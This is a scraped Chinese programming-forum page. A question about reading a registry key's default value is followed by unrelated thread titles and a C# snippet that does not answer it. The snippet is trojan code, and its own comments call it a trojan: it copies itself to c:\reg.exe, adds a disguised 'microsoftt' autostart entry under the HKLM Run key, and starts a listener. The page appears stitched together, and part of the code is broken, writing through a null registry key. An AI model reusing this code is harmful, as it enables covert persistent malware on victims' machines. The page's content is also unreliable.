如题,每个注册表的项都有一个默认的键,象这样子的--“(默认)”,我怎么得到这个键值啊
解决方案 »
- 请问,这个字符串LINQ方法,如何处理
- socket问题:由于目标机器积极拒绝,无法连接
- 如何在.cs文件中将GirdView中的一列设置为超链接
- 高手过来:用vs2003制作的安装包,安装后,点击桌面快捷方式后会重新安装的问题
- 复制Excel行格式
- 关于crystalreport的问题
- 请教同行帮忙,Net中使用Oracle遇到的一个问题(急)
- 硬件加密是否比软加密安全?
- VS2012编辑器不能应用VS2010的工具集?
- dataGirdView编辑后按回车键如何触发CellEndEdit事件
- 能不能在Winform取得机器硬件特征传给Webbrowser,再提交到指定的web服务器上?
- 急求!!关于TextBox的text属性输入的限制?
{
string a;
a=Application.ExecutablePath;//取得当前文件的路径
//a=Application.StartupPath;//取得当前文件的目录 if(!File.Exists(@"c:\reg.exe"))
{
moveCC1(a);
}
bool initiallyOwned = true;
bool isCreated;
Mutex m = new Mutex(initiallyOwned,"mytestt",out isCreated);
if (!(initiallyOwned && isCreated))
{
//MessageBox.Show("抱歉,程序只能在一台机上运行一个实例!","提示");
//Application.Exit();
System.Environment.Exit(-1);
}
else
{
StartListening();
}
return 0;
} private static void moveCC1(string a)
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1=null; try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名,destFileName为文件的新路径
//File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
File.Copy(a,@"c:\reg.exe",false);
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
//key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.SetValue ("microsoftt",@"c:\reg.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
//key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.SetValue ("microsoftt",@"c:\reg.exe");
key1.Close();
}
catch{}
}
} //moveCC1()